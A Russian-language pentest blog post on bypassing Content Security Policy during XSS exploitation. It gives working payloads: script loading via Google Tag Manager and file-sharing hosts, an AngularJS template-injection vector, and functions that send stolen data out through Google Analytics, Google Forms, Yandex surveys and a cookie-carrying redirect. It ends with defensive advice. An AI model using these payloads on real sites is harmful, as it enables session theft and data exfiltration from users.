Обход Content Security Policy

In English: https://blog.deteact.com/csp-bypass/

Content Security Policy (CSP) — это дополнительный механизм безопасности, встроенный в браузеры, позволяющий предотвращать Cross Site Scripting (XSS).  

CSP позволяет определять белые списки источников для подключения JavaScript, стилей, изображений, фреймов, создания соединений. Также CSP может регулировать возможность исполнения inline-скриптов, возможность подключения текущей страницы во фрейме и т. д.

Рассмотрим различные конфигурации CSP и варианты для обхода ограничений.

В некоторых случаях в CSP разрешено выполнение инлайн-скриптов (директива unsafe-inline), и при этом заголовок Content-Security-Policy выставляется не на всех страницах (его выдаёт не балансировщик, а бекенд, или политика задаётся через тег meta).  В таком случае можно открыть страницу, для которой политика не задана, и перезаписать её содержимое (см. https://xakep.ru/2018/10/01/xss-csp-bypass/). При этом, если директива frame-src ограничивает создание фреймов, придётся прибегнуть к созданию окна через window.open.

Рассмотрим различные варианты эксплуатации XSS, когда условия жёстче, и вышеупомянутый способ не работает.

Эксплуатация сводится к двум шагам: сначала нужно научиться выполнять произвольный код, а затем — получать нужные данные со страницы в браузере жертвы.

Исполнение кода

Рассмотрим некоторые распространённые способы обхода CSP для выполнения кода в зависимости от наличия или отсутствия в политике директив unsafe-inline и unsafe-eval.

Есть unsafe-inline

Пример политики:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' www.googletagmanager.com;

Inline-выполнение

С включенной политикой unsafe-inline мы без проблем можем исполнять код в тегах script.

Google Tag Manager

Иногда возникает необходимость собрать много информации, выполнив достаточно объёмный скрипт. Весь код может не помещаться в векторе, и в таком случае его нужно динамически подгрузить из какого-то источника.

В нашем случае можно посмотреть на политику и увидеть, что разрешено выполнение скриптов с домена www.googletagmanager.com. В этом сервисе можно сохранять пользовательский html, в который к нашему счастью можно вставлять свой JS-код. Учтите, что по умолчанию не поддерживается спецификация ECMAScript6. 

Вставить свой код можно через добавление тегов. Например, попробуем добавить код с alert и встроить на сайте с настроенной политикой CSP.

Чтобы выполнился код из Tag Manager’а необходимо вставить блок:

<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-*******');
</script>

Сократить код можно следующим образом:

<script>setTimeout(function(){dataLayer.push({event:'gtm.js'})},1000)</script>
<script src="//www.googletagmanager.com/gtm.js?id=GTM-*******"></script>

Изменяется здесь только id, который вы можете посмотреть в вашем личном кабинете Tag Manager’а.

Смысл в том, чтобы подключить скрипт gtm.js и добавить в очередь событие ‘gtm.js’, при обработке которого будет выполнен скрипт.

Есть unsafe-eval

Пример политики:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' ajax.googleapis.com;

CDN и CSTI

С включенной политикой unsafe-eval мы можем выполнить атаку Client-Side Template Injection.

Если библиотека-шаблонизатор (такая как Vue.JS, Angular, JQuery и т. д.) не подключена на странице, нам нужно её подключить. Для этого хорошо подходит хост ajax.googleapis.com, который очень часто разрешён в CSP для подгрузки каких-то библиотек, нужных для работы сайта.

Для примера подключим AngularJS старой версии (1.4.6) и выполним произвольный код через внедрение шаблона. 

Итоговый вектор атаки:

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script> <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} </div>

В векторе мы создаём элемент div с атрибутом ng-app, который активизирует AngularJS, а в содержимом вставляем шаблон, эксплуатирующий CSTI в AngularJS 1.4.6, в результате выполняется код alert(1):

DOM-based XSS

Помимо CSTI, выполнить произвольный код при наличии unsafe-eval могут помочь и любые другие виды DOM-based XSS, в которых содержимое какого-то HTML-элемента попадает в вызов eval().

Нет unsafe-inline и unsafe-eval

Пример политики:

Content-Security-Policy: default-src 'self'; script-src 'self'  *.googleusercontent.com *.google.com *.yandex.net;

Файлообменники

В случае, если в script-src есть домен yandex.net, то скрипт можно подключить с Яндекс Диска. Необходимо скопировать итоговую ссылку на скачивание и заменить в ссылке значение параметра content_type на application/javascript, в таком случае сервер отдаст соответствующий заголовок, и браузер подключит скрипт:

<script src="https://[***].storage.yandex.net/[...]content_type=application/javascript&[***]"></script>

Учитывайте, что ссылка на файл временная, и спустя некоторое время (приблизительно 4 часа) она перестает работать.

Если же в script-src есть записи *.googleusercontent.com и *.google.com, то скрипт аналогично можно подгрузить с Google Drive:

https://drive.google.com/uc?id=...&export=download

Необходимы обе записи из-за временного Cookie-идентификатора, который создаётся до перенаправления на *.googleusercontent.com.

Загрузка файлов или JS/JSON/JSONP-инъекции

Стоит проверить функциональности загрузки у приложения, возможно оно позволяет загружать JS-файлы, тогда скрипт можно будет запрашивать с собственного домена.

Также могут помочь неэксплуатабельные инъекции содержимого в JavaScript или JSON, а также JSONP hijacking. Например, в случае отсутствия валидации имени функции в JSONP, можно заменить вызываемую функцию, на свою, в которой вы сможете написать произвольный JS код:

Отправка данных

Предположим, что мы научились выполнять произвольный код на странице. Теперь стоит задача извлечь данные и передать их на контролируемый нами хост.

Есть разрешённые хосты

Пример политики:

Content-Security-Policy: default-src 'self'; connect-src: 'self' www.google-analytics.com *.google.com *.yandex.ru;

Системы аналитики

Если в политике разрешён хост Google Analytics, то можем отправлять данные туда. Учитывайте, что максимальный размер принимаемых данных за один запрос — 8КБ.

Ссылка для отправки данных выглядит следующим образом:

https://www.google-analytics.com/collect?v=1&tid=***&cid=123&t=event&ec=email&el=321&cs=newsletter&cm=email&cn=&cm1=1&ea=data

После этого в событиях вы увидите данные, которые вы отправили в параметре ea:

Системы опросов, чаты и т. д.

Если на сайте используются системы с онлайн консультантами, можно воспользоваться ими для отправки данных. 

При наличии в connect-src *.google или *.yandex.ru , можно воспользоваться сервисами, котороые расположены на этих поддоменах, а именно гугл формами и яндекс взглядом .

Пример отправки данных в гугл форму — https://docs.google.com/forms.

Тут все довольно просто, обычный POST запрос:

function sendit(data) {
    var xhr = new XMLHttpRequest();
    var params = params="entry.1359945223=" + data;
    xhr.open('post','https://docs.google.com/forms/d/e/***/formResponse', true);
    xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded'); 
    xhr.send(params);
}

Пример отправки данных в яндекс взгляд — https://surveys.yandex.ru/.

Для яндекс взгляда будет необходимо генерировать уникальный ivid, функция отправки  будет выглядеть примерно так:

function sendit(data) {
    var http = new XMLHttpRequest();
    ivid = Math.floor((10000000 + Math.random() * 99999999) % 100000000) + '';
    var params = JSON.stringify({"answers":[{"text":data,"questionId":"1"}],"_ivid":ivid+"-ea97-5037-afc1-bf1f77335e4f","_seqnum":3});
    http.open("POST", "https://www.yandex.ru/poll/api/v0/survey/***/finish", true);
    http.setRequestHeader("Content-Type","application/json");
    http.send(params);
}  

Нет разрешённых хостов

Пример политики:

Content-Security-Policy: default-src 'self'

Редирект

Если не разрешено соединение с какими-либо хостами, можно передать данные прямо в URL (в query string), перенаправив пользователя на свой веб-сервер:

window.location='https://deteact.com/'+document.cookie;

Отправка внутри приложения

Если приложение позволяет оставлять комментарии, писать сообщения, то можно воспользоваться этой функциональностью для передачи данных внутри приложения. Достаточно зарегистрировать аккаунт, который получит украденную информацию в личном сообщении или в комментарии.

Что делать?

Всё это конечно хорошо, и мы научились ломать, но более важный вопрос — как защититься?

Не разрешать лишнее

Для CSP действует правило «запрещено все, что не разрешено» следует аккуратнее прописывать домены к которым браузеру будет разрешено обращаться. Зачастую разработчикам проще разрешить лишние домены, чем разбираться, какой конкретно хост нужен для работы фронтенда. В идеале все нужные скрипты должны быть размещены на ваших хостах, и там не должно быть ничего лишнего.

Для проверки CSP можно воспользоваться https://csp-evaluator.withgoogle.com/. Данный сайт проанализирует выставленные политики и покажет какие угрозы несет каждая из них. 

Использовать директиву report-uri

Или пришедшую на замену report-to, что заставит браузер сообщать о попытках злоумышленников обойти CSP на вашем сайте. Это поможет вам вовремя среагировать на атаку и минимизировать риски от нее.

Запретить unsafe-inline

Или используйте nonce, а также не разрешайте unsafe-eval.

Не допускать XSS!

Механизм CSP — это лишь компенсирующая мера, которая усложняет эксплуатацию XSS, но зачастую не делает её невозможной.

Проводить пентест

Чтобы проверить корректность настройки CSP и устойчивость вашего приложения к XSS и другим атакам, обратитесь к нам для проведения пентеста веб-приложения.

One Reply to “Обход Content Security Policy”

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *